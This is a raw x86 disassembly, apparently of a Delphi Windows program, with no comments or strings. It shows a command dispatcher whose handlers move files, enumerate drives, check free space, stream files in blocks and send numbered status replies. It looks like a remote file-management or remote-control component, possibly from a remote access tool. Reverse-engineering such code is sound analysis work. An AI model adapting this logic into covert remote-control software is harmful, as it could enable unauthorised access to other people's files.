mov ecx, dword [ebp - 0x28]
mov dl, 1
mov eax, dword [0x46a778]
call fcn.0046aa00
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4ed8bc
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4edb08
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4ee140
mov eax, dword [ebp - 0xd4]
add eax, 0x40
mov edx, dword [ebp - 0x3c]
call fcn.0040460c
mov eax, dword [ebp - 0xd4]
mov byte [eax + 0x71], 1
mov eax, dword [ebp - 0xd4]
mov dword [eax + 0xc], 3
xor eax, eax
push ebp
push 0x4e5ab3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xd4]
call fcn.0046aab4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e5aba
mov eax, dword [ebp - 0xd4]
call fcn.004037ac
ret
inc dword [ebp - 0x50]
dec dword [ebp - 0x110]
jne 0x4e59bd
cmp dword [0x53fb68], 0
je 0x4e5af8
mov eax, 0x53fb68
call fcn.004045b8
mov al, byte [0x549914]
call fcn.004b0df0
lea ecx, [ebp - 0xa0]
xor edx, edx
mov eax, dword [ebp - 0x9c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xbc
mov eax, dword [ebp - 0x28]
call fcn.004ddb30
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4e0a85.10
mov eax, dword [ebp - 0x9c]
call fcn.004037ac
mov byte [0x53fb74], 0
ret
mov dl, 1
mov eax, dword [0x414bcc]
call fcn.0040377c
mov dword [ebp - 0x9c], eax
lea edx, [ebp - 0xa64]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
mov edx, dword [ebp - 0xa64]
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0xa0]
xor edx, edx
mov eax, dword [ebp - 0x9c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0x3c]
mov edx, 1
mov eax, dword [ebp - 0x9c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0x40]
mov edx, 2
mov eax, dword [ebp - 0x9c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea eax, [ebp - 0xa0]
call fcn.004db564
mov eax, dword [ebp - 0xa0]
mov al, byte [eax]
call fcn.00402b3c
mov byte [0x549914], al
mov eax, dword [ebp - 0xa0]
cmp byte [eax + 1], 0x3a
jne 0x4e5c4e
mov al, byte [0x549914]
call fcn.0046b940
test al, al
je 0x4e5c4e
mov al, byte [0x549914]
call fcn.004b0a70
test eax, eax
jne 0x4e5c4e
lea edx, [ebp - 0xa68]
mov al, byte [0x549914]
call fcn.004b0c6c
mov edx, dword [ebp - 0xa68]
mov eax, 0x53fb68
call fcn.0040460c
lea eax, [ebp - 0xa6c]
push eax
mov ecx, 0x400
mov edx, 3
mov eax, dword [ebp - 0xa0]
call fcn.00404ae4
mov ecx, dword [ebp - 0xa6c]
lea eax, [ebp - 0xa0]
mov edx, dword [0x53fb68]
call fcn.004048d8
jmp 0x4e5c58
mov eax, 0x53fb68
call fcn.004045b8
lea eax, [ebp - 0xa70]
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0xa0]
call fcn.004048d8
mov eax, dword [ebp - 0xa70]
call fcn.00404a84
push eax
lea eax, [ebp - 0xa74]
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0xa0]
call fcn.004048d8
mov eax, dword [ebp - 0xa74]
call fcn.00404a84
push eax
call sub.kernel32.dll_MoveFileA
cmp eax, 1
sbb ebx, ebx
inc ebx
cmp dword [0x53fb68], 0
je 0x4e5cc0
mov eax, 0x53fb68
call fcn.004045b8
mov al, byte [0x549914]
call fcn.004b0df0
mov eax, dword [ebp - 0x9c]
call fcn.004037ac
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
push eax
push 1
push 0
push 0
push 0
xor ecx, ecx
mov cl, bl
mov edx, 0xc0
mov eax, dword [ebp - 0x28]
call fcn.004dd994
jmp case.0x4e0a85.10
lea edx, [ebp - 0xa78]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
mov edx, dword [ebp - 0xa78]
mov eax, 0x549900
call fcn.0040460c
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x549904], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x549910], eax
mov eax, dword [ebp - 0x2c]
mov al, byte [eax + 0x18]
and al, 0xff
mov byte [0x54990c], al
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x18]
and eax, 0x300
mov dword [0x549908], eax
mov eax, 0x549900
call fcn.004db564
cmp dword [0x549820], 0
je 0x4e5d83
lea edx, [ebp - 0xa7c]
mov eax, dword [0x549900]
call fcn.00408e1c
mov edx, dword [ebp - 0xa7c]
mov eax, dword [0x549820]
call fcn.00404bc8
dec eax
jne 0x4e5d83
mov byte [0x549914], 1
jmp 0x4e5da8
mov eax, dword [0x549900]
cmp byte [eax + 1], 0x3a
jne 0x4e5da1
mov eax, dword [0x549900]
mov al, byte [eax]
call fcn.00402b3c
mov byte [0x549914], al
jmp 0x4e5da8
mov byte [0x549914], 0
cmp byte [0x549914], 0x41
jb 0x4e5e12
mov al, byte [0x549914]
call fcn.004b0a70
test eax, eax
jne 0x4e5e12
lea edx, [ebp - 0xa80]
mov al, byte [0x549914]
call fcn.004b0c6c
mov edx, dword [ebp - 0xa80]
mov eax, 0x53fb68
call fcn.0040460c
lea eax, [ebp - 0xa84]
push eax
mov ecx, 0x400
mov edx, 3
mov eax, dword [0x549900]
call fcn.00404ae4
mov ecx, dword [ebp - 0xa84]
mov eax, 0x549900
mov edx, dword [0x53fb68]
call fcn.004048d8
jmp 0x4e5e1c
mov eax, 0x53fb68
call fcn.004045b8
mov eax, dword [0x549900]
call fcn.0040488c
cmp eax, 3
jle case.0x4e0a85.10
mov eax, dword [0x549900]
call fcn.00462e48
jmp case.0x4e0a85.10
mov eax, dword [ebp - 0x2c]
mov al, byte [eax + 0x10]
mov byte [0x549920], al
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x54991c], eax
mov eax, dword [ebp - 0x2c]
lea ebx, [eax + 0x20]
mov eax, dword [ebx + 4]
mov dword [0x549928], eax
mov eax, dword [ebx + 8]
mov dword [0x54992c], eax
mov eax, dword [ebx]
mov dword [0x549924], eax
mov eax, dword [ebx + 0xc]
mov dword [0x549930], eax
cmp byte [0x549914], 1
jne 0x4e5eb3
mov eax, dword [0x549820]
call fcn.00471cb8
sub eax, dword [0x549928]
sbb edx, dword [0x54992c]
sub eax, 0x1400000
sbb edx, 0
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], edx
jmp 0x4e5fa8
cmp dword [0x53fb68], 0
je 0x4e5f5c
cmp dword [0x54992c], 0
jne 0x4e5ed7
cmp dword [0x549928], 0x6400000
jae 0x4e5f1c
jmp 0x4e5ed9
jge 0x4e5f1c
mov al, byte [0x549914]
call fcn.004b0f60
push edx
push eax
push 0
push 3
mov eax, dword [0x549928]
mov edx, dword [0x54992c]
call fcn.00405944
sub dword [esp], eax
sbb dword [esp + 4], edx
pop eax
pop edx
sub eax, 0x12c00000
sbb edx, 0
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], edx
jmp 0x4e5fa8
mov al, byte [0x549914]
call fcn.004b0f60
push edx
push eax
push 0
push 2
mov eax, dword [0x549928]
mov edx, dword [0x54992c]
call fcn.00405944
sub dword [esp], eax
sbb dword [esp + 4], edx
pop eax
pop edx
sub eax, 0x1f400000
sbb edx, 0
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], edx
jmp 0x4e5fa8
cmp byte [0x549914], 0x41
jb 0x4e5f94
mov al, byte [0x549914]
sub al, 0x41
inc eax
call fcn.00409c30
sub eax, dword [0x549928]
sbb edx, dword [0x54992c]
sub eax, 0x1400000
sbb edx, 0
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], edx
jmp 0x4e5fa8
mov dword [ebp - 0xa8], 0xffffffff
mov dword [ebp - 0xa4], 0x7fff
cmp dword [ebp - 0xa4], 0
jne 0x4e5fbc
cmp dword [ebp - 0xa8], 0
jae 0x4e5fe7
jmp 0x4e5fbe
jge 0x4e5fe7
xor eax, eax
mov dword [0x53fb88], eax
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [0x54991c]
mov edx, 0xc3
mov eax, dword [ebp - 0x28]
call fcn.004dd994
jmp case.0x4e0a85.10
mov al, byte [0x549920]
sub al, 2
jb 0x4e5ff7
je 0x4e602c
jmp case.0x4e0a85.10
mov byte [0x549934], 0
mov dl, 1
mov eax, dword [0x470804]
call fcn.0040377c
mov dword [0x53fb88], eax
mov dl, 1
mov eax, dword [0x414568]
call fcn.0040377c
mov dword [0x54993c], eax
xor eax, eax
mov dword [0x549938], eax
jmp case.0x4e0a85.10
mov byte [0x549934], 0
lea eax, [ebp - 0xa88]
lea edx, [ebx + 0x10]
mov ecx, 0x400
call fcn.00404820
mov ecx, dword [ebp - 0xa88]
mov eax, 0x549918
mov edx, dword [0x549900]
call fcn.004048d8
mov eax, dword [0x549918]
call fcn.004f8b60
lea eax, [ebp - 0xa8c]
mov edx, dword [0x549918]
call fcn.00404e90
mov eax, dword [ebp - 0xa8c]
mov dx, 0xffff
call fcn.0046e0d4
mov dword [0x53fb88], eax
cmp dword [0x53fb88], 0
jne 0x4e60ba
push 0
push 0
mov eax, dword [0x549918]
push eax
push 0
push 0
mov ecx, dword [0x54991c]
mov edx, 0xc3
mov eax, dword [ebp - 0x28]
call fcn.004dd994
jmp case.0x4e0a85.10
xor eax, eax
push ebp
push 0x4e60e8
push dword fs:[eax]
mov dword fs:[eax], esp
push dword [0x54992c]
push dword [0x549928]
mov eax, dword [0x53fb88]
call fcn.00463298
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4e610d
cmp dword [0x53fb88], 0
je 0x4e6094
push 0
push 0
mov eax, dword [0x53fb88]
call fcn.00463238
mov dl, 1
mov eax, dword [0x414568]
call fcn.0040377c
mov dword [0x54993c], eax
xor eax, eax
mov dword [0x549938], eax
jmp case.0x4e0a85.10
call fcn.004dfb6c
jmp case.0x4e0a85.10
push 0
push 1
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xd1
mov eax, dword [ebp - 0x28]
call fcn.004dd994
jmp case.0x4e0a85.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x549834], eax
push 0
push 0x3e8
push 0
push 0x3c
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cdq
call fcn.00405944
call fcn.00405944
mov dword [0x53fa88], eax
mov dword [0x53fa8c], edx
cmp dword [0x53fa8c], 0
jne 0x4e61b8
cmp dword [0x53fa88], 0
jbe case.0x4e0a85.10
jmp 0x4e61be
jle case.0x4e0a85.10
mov eax, dword [0x53f338]
mov edx, dword [0x53f33c]
add eax, dword [0x53fa88]
adc edx, dword [0x53fa8c]
mov dword [0x53fa88], eax
mov dword [0x53fa8c], edx
jmp case.0x4e0a85.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x549834], eax
push 0
push 0x3e8
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cdq
call fcn.00405944
mov dword [0x53fa88], eax
mov dword [0x53fa8c], edx
cmp dword [0x53fa8c], 0
jne 0x4e6229
cmp dword [0x53fa88], 0
jbe case.0x4e0a85.10
jmp 0x4e622f
jle case.0x4e0a85.10
mov eax, dword [0x53f338]
mov edx, dword [0x53f33c]
add eax, dword [0x53fa88]
adc edx, dword [0x53fa8c]
mov dword [0x53fa88], eax
mov dword [0x53fa8c], edx
jmp case.0x4e0a85.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
movzx edx, word [0x54967c]
cmp eax, edx
jne case.0x4e0a85.10
mov eax, 0x549844
mov dl, 1
call fcn.004f7d28
test al, al
je case.0x4e0a85.10
mov eax, dword [0x549844]
call fcn.00404eb0
cmp eax, dword [0x549848]
jle 0x4e62bd
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x14], 1
jne case.0x4e0a85.10
push 0
push 0
push 0
mov ecx, 1
mov edx, 0xba
mov eax, dword [ebp - 0x28]
call fcn.004ddb30
jmp case.0x4e0a85.10
mov eax, dword [0x549844]
call fcn.00404eb0
test eax, eax
jne 0x4e62f5
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x14], 1
jne case.0x4e0a85.10
push 0
push 0
push 0
mov ecx, 2
mov edx, 0xba
mov eax, dword [ebp - 0x28]
call fcn.004ddb30
jmp case.0x4e0a85.10
mov eax, dword [ebp - 0x2c]
cmp byte [eax + 0xc], 0xea
jne 0x4e6328
movzx eax, word [0x54967c]
push eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shl eax, 8
push eax
mov ecx, dword [0x549844]
mov edx, 0x10
mov eax, dword [ebp - 0x28]
call fcn.004ddd08
jmp case.0x4e0a85.10
movzx eax, word [0x54967c]
push eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shl eax, 8
push eax
mov ecx, dword [0x549844]
mov edx, 0xd
mov eax, dword [ebp - 0x28]
call fcn.004ddd08
jmp case.0x4e0a85.10
movzx eax, word [0x54967c]
mov edx, dword [ebp - 0x2c]
cmp eax, dword [edx + 0x10]
jne case.0x4e0a85.10
cmp byte [0x53faa0], 0
je case.0x4e0a85.10
movzx ecx, word [0x54967c]
mov edx, 0x13
mov eax, dword [0x549858]
call fcn.004dde80
jmp case.0x4e0a85.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
movzx edx, word [0x54967c]
cmp eax, edx
jne case.0x4e0a85.10
mov eax, dword [0x54984c]
call fcn.004196f0
cmp edx, 0
jne 0x4e63bc
cmp eax, 0
jbe case.0x4e0a85.10
jmp 0x4e63c2
jle case.0x4e0a85.10
movzx ecx, word [0x54967c]
mov edx, 0x14
mov eax, dword [0x54984c]
call fcn.004dde80
jmp case.0x4e0a85.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
movzx edx, word [0x54967c]
cmp eax, edx
jne case.0x4e0a85.10
lea edx, [ebp - 0xd0]
mov eax, 0x28
call fcn.004ac178
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x14], 0
jne 0x4e642e
lea eax, [ebp - 0xa90]
mov edx, dword [ebp - 0xd0]
call fcn.00404e90
mov eax, dword [ebp - 0xa90]
mov dl, 1
call fcn.004f7dbc
jmp case.0x4e0a85.10
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x14], 2
jne case.0x4e0a85.10
lea eax, [ebp - 0xa94]
mov edx, dword [ebp - 0xd0]
call fcn.00404e90
mov eax, dword [ebp - 0xa94]
mov dl, 1
call fcn.004f7e4c
jmp case.0x4e0a85.10
push 0
push 1
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xf4
mov eax, dword [ebp - 0x28]
call fcn.004dd994
jmp case.0x4e0a85.10
mov dl, 1
mov eax, dword [0x414bcc]
call fcn.0040377c
mov esi, eax
mov eax, esi
call fcn.004b5528
lea edx, [ebp - 0xe4]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x1c]
push 0
push 0
mov eax, dword [ebp - 0xe4]
call fcn.00404a84
push eax
xor ecx, ecx
mov edx, 0xc8
mov eax, dword [ebp - 0x28]
call fcn.004ddb30
mov eax, esi
call fcn.004037ac
jmp case.0x4e0a85.10
cmp dword [0x53fb88], 0
jne 0x4e6513
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, dword [0x549940]
jne case.0x4e0a85.10
cmp byte [0x549934], 0
je case.0x4e0a85.10
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [0x549940]
mov edx, 0xc4
mov eax, dword [ebp - 0x28]
call fcn.004dd994
jmp case.0x4e0a85.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, dword [0x54991c]
jne case.0x4e0a85.10
push 0
push 0x400
mov eax, dword [0x549928]
mov edx, dword [0x54992c]
add eax, 0x3ff
adc edx, 0
call fcn.00405968
mov ebx, eax
cmp ebx, dword [0x549938]
jbe 0x4e656d
mov edx, dword [0x549938]
mov eax, dword [0x54993c]
call fcn.00416d28
inc dword [0x549938]
cmp ebx, dword [0x549938]
ja 0x4e654f
lea eax, [ebp - 0x7a0]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
lea esi, [eax + 0x20]
mov eax, dword [0x54993c]
mov ebx, dword [eax + 8]
dec ebx
xor eax, eax
mov dword [ebp - 0x50], eax
test ebx, ebx
jl 0x4e65ac
mov edx, ebx
mov eax, dword [0x54993c]
call fcn.00416e84
mov dword [esi], eax
add esi, 4
dec ebx
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], 0x140
jne 0x4e658a
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xd], 0xc
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xc], 0xfe
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xe], 0
sub esi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov dword [eax + 4], esi
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 4]
sub eax, 0x20
test eax, eax
jns 0x4e65da
add eax, 3
sar eax, 2
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x10], eax
mov eax, dword [ebp - 0x2c]
mov edx, dword [0x54991c]
mov dword [eax + 0x14], edx
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
call fcn.004dd610
jmp case.0x4e0a85.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x53fa90], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x53fa94], eax
jmp case.0x4e0a85.10
lea edx, [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
lea eax, [ebp - 0x3c]
call fcn.004db564
mov eax, dword [ebp - 0x3c]
call fcn.0046dd44
test al, al
je case.0x4e0a85.10
mov byte [ebp - 0xc5], 0
lea eax, [ebp - 0xa98]
mov edx, dword [ebp - 0x3c]
call fcn.00404e90
mov eax, dword [ebp - 0xa98]
lea ecx, [ebp - 0xb8]
lea edx, [ebp - 0xc4]
call fcn.0046eae0
lea edx, [ebp - 0xc0]
mov eax, 1
call fcn.004ab8e8
mov al, byte [0x4e7ce0]
push eax
lea eax, [ebp - 0xbc]
push eax
lea edx, [ebp - 0xaa0]
mov eax, dword [0x540f14]
mov eax, dword [eax]
call fcn.00409b0c
mov edx, dword [ebp - 0xaa0]
lea eax, [ebp - 0xa9c]
call fcn.00404e90
mov eax, dword [ebp - 0xa9c]
push eax
lea eax, [ebp - 0xaa4]
mov edx, dword [ebp - 0xc0]
call fcn.00404e90
mov edx, dword [ebp - 0xaa4]
mov eax, dword [ebp - 0xb8]
pop ecx
call fcn.004722fc
mov eax, dword [ebp - 0xbc]
mov edx, dword [ebp - 0xb8]
call fcn.00404fc8
je case.0x4e0a85.10
lea eax, [ebp - 0xaa8]
mov edx, dword [ebp - 0x3c]
call fcn.00404e90
mov eax, dword [ebp - 0xaa8]
mov ecx, dword [ebp - 0xbc]
mov edx, dword [ebp - 0xc4]
call fcn.0046ebbc
jmp case.0x4e0a85.10
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047cbb0
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004ef598
mov byte [0x53f3e4], 1
call fcn.004dfdac
xor edx, edx
mov eax, 4
call fcn.004dfdcc
jmp case.0x4e0a85.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x5495a8], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x5495ac], eax
mov eax, dword [0x5495a8]
cdq
push edx
push eax
lea eax, [ebp - 0xaac]
mov edx, dword [0x5408e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0xaac]
mov edx, 0x4e7cec
call fcn.0046d954
mov eax, dword [0x5495ac]
cdq
push edx
push eax
lea eax, [ebp - 0xab0]
mov edx, dword [0x5408e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0xab0]
mov edx, 0x4e7d00
call fcn.0046d954
jmp case.0x4e0a85.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x5495b0], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x5495b4], eax
mov eax, dword [0x5495b0]
cdq
push edx
push eax
lea eax, [ebp - 0xab4]
mov edx, dword [0x5408e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0xab4]
mov edx, 0x4e7d14
call fcn.0046d954
mov eax, dword [0x5495b4]
cdq
push edx
push eax
lea eax, [ebp - 0xab8]
mov edx, dword [0x5408e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0xab8]
mov edx, 0x4e7d28
call fcn.0046d954
jmp case.0x4e0a85.10
mov al, byte [0x4e7ba0]
push eax
lea eax, [ebp - 0xe4]
push eax
lea eax, [ebp - 0xabc]
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
mov eax, dword [ebp - 0xabc]
mov ecx, 0x4e7d3c
mov edx, 0x4e7d48
call fcn.0040d9ec
lea eax, [ebp - 0xe4]
call fcn.00404adc
mov dword [ebp - 0xf8], eax
lea edx, [ebp - 0xe8]
lea eax, [ebp - 0xf8]
call fcn.0046c294
lea eax, [ebp - 0xe8]
call fcn.004db564
lea edx, [ebp - 0xec]
lea eax, [ebp - 0xf8]
call fcn.0046c294
lea edx, [ebp - 0xf0]
lea eax, [ebp - 0xf8]
call fcn.0046c294
lea edx, [ebp - 0xf4]
lea eax, [ebp - 0xf8]
call fcn.0046c294
lea eax, [ebp - 0xac0]
mov edx, dword [ebp - 0xf0]
call fcn.00404e90
mov eax, dword [ebp - 0xac0]
push eax
lea eax, [ebp - 0xac4]
mov edx, dword [ebp - 0xf4]
call fcn.00404e90
mov eax, dword [ebp - 0xac4]
push eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
push eax
mov eax, dword [ebp - 0x2c]
movzx eax, byte [eax + 0xc]
push eax
lea eax, [ebp - 0xac8]
mov edx, dword [ebp - 0xec]
call fcn.00404e90
mov ecx, dword [ebp - 0xac8]
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax + 0x10]
mov eax, dword [ebp - 0xe8]
call fcn.004e8464
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x2c]
cmp byte [eax + 0xc], 0xfc
jne 0x4e6956
push 0
push 0
push 0
mov ecx, dword [ebp - 0x50]
mov edx, 0xc1
mov eax, dword [ebp - 0x28]
call fcn.004ddb30
jmp case.0x4e0a85.10
push 0
push 0
push 0
mov ecx, dword [ebp - 0x50]
mov edx, 0xbe
mov eax, dword [ebp - 0x28]
call fcn.004ddb30
jmp case.0x4e0a85.10
lea edx, [ebp - 0xe4]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
push eax
push 0
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax + 0x10]
and ecx, 0xffff
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax + 0x10]
shr edx, 0x10
mov eax, dword [ebp - 0xe4]
call fcn.004e7ec4
jmp case.0x4e0a85.10
lea edx, [ebp - 0xe4]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
lea eax, [ebp - 0xe4]
call fcn.004db564
mov eax, dword [ebp - 0xe4]
call fcn.0046dd44
test al, al
je case.0x4e0a85.10
lea eax, [ebp - 0xacc]
mov edx, dword [0x5408e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0xacc]
xor ecx, ecx
mov edx, 0x4e7d58
call fcn.0046dba4
mov dl, 1
mov eax, dword [ebp - 0xe4]
call fcn.004eed2c
jmp case.0x4e0a85.10
push 0
push 1
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xf1
mov eax, dword [ebp - 0x28]
call fcn.004dd994
jmp case.0x4e0a85.10
mov byte [0x5498f4], 0
jmp case.0x4e0a85.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x5498f8], eax
jmp case.0x4e0a85.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
call fcn.004030b8
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
inc eax
call fcn.004d9234
mov eax, 3
call fcn.004030b8
mov dword [ebp - 0x50], eax
lea edx, [ebp - 0xe4]
mov eax, dword [ebp - 0x50]
call fcn.004df4a8
cmp dword [ebp - 0xe4], 0
jne 0x4e6a9b
lea eax, [ebp - 0xe4]
mov edx, 0x4e7d68
call fcn.00404650
push 0
push 0
lea eax, [ebp - 0xe4]
call fcn.00404adc
push eax
xor ecx, ecx
mov edx, 0xc0
mov eax, dword [ebp - 0x28]
call fcn.004ddb30
jmp case.0x4e0a85.10
call fcn.0040b13c
add esp, 0xfffffff8
fstp qword [esp]
wait
lea edx, [ebp - 0xe4]
mov eax, 0x4e7d78
call fcn.0040bd68
push 0
push 0
lea eax, [ebp - 0xe4]
call fcn.00404adc
push eax
xor ecx, ecx
mov edx, 0xc4
mov eax, dword [ebp - 0x28]
call fcn.004ddb30
jmp case.0x4e0a85.10
mov dl, 1
mov eax, dword [0x414bcc]
call fcn.0040377c
mov esi, eax
lea eax, [ebp - 0xad0]
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
mov edx, dword [ebp - 0xad0]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0xe8]
xor edx, edx
mov eax, esi
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0xec]
mov edx, 1
mov eax, esi
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0xf0]
mov edx, 2
mov eax, esi
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0xf4]
mov edx, 3
mov eax, esi
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea eax, [ebp - 0xe8]
call fcn.004db564
lea eax, [ebp - 0xadc]
mov edx, dword [ebp - 0xe8]
call fcn.00404e90
mov eax, dword [ebp - 0xadc]
lea ecx, [ebp - 0xad8]
lea edx, [ebp - 0xfc]
call fcn.0046eae0
mov edx, dword [ebp - 0xad8]
lea eax, [ebp - 0xad4]
call fcn.00404854
mov edx, dword [ebp - 0xad4]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x2c]
cmp dword [ebp - 0xfc], 0xfffffffd
jne 0x4e6bf3
mov eax, dword [ebp - 0x2c]
test byte [eax + 0x10], 1
jne 0x4e6bf3
push 0
push 0
push 0
or ecx, 0xffffffff
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004ddb30
jmp 0x4e6ccd
cmp dword [ebp - 0xfc], 0xfffffffe
jne 0x4e6c19
push 0
push 0
push 0
mov ecx, 0xfffffffe
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004ddb30
jmp 0x4e6ccd
mov eax, dword [ebp - 0xf0]
push eax
mov eax, dword [ebp - 0xf4]
push eax
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov dl, byte [eax + 0xc]
mov ecx, dword [ebp - 0xec]
mov eax, esi
call fcn.004e0410
mov eax, dword [ebp - 0xe8]
call fcn.004f8b60
lea edx, [ebp - 0xae4]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov edx, dword [ebp - 0xae4]
lea eax, [ebp - 0xae0]
call fcn.00404e90
mov eax, dword [ebp - 0xae0]
push eax
lea eax, [ebp - 0xae8]
mov edx, dword [ebp - 0xe8]
call fcn.00404e90
mov eax, dword [ebp - 0xae8]
mov edx, dword [ebp - 0xfc]
pop ecx
call fcn.0046ebbc
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0
jl 0x4e6cb5
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004ddb30
jmp 0x4e6ccd
push 0
push 0
push 0
mov ecx, 0xfffffffd
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004ddb30
mov eax, esi
call fcn.004037ac
jmp case.0x4e0a85.10
mov dword [0x54966c], 1
jmp case.0x4e0a85.10
xor eax, eax
call fcn.004f8f34
jmp case.0x4e0a85.103
call fcn.004f8f18
jmp case.0x4e0a85.103
lea edx, [ebp - 0xe4]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
lea eax, [ebp - 0xaec]
mov edx, dword [ebp - 0xe4]
call fcn.00404e90
mov eax, dword [ebp - 0xaec]
lea ecx, [ebp - 0xb8]
lea edx, [ebp - 0xfc]
call fcn.0046eae0
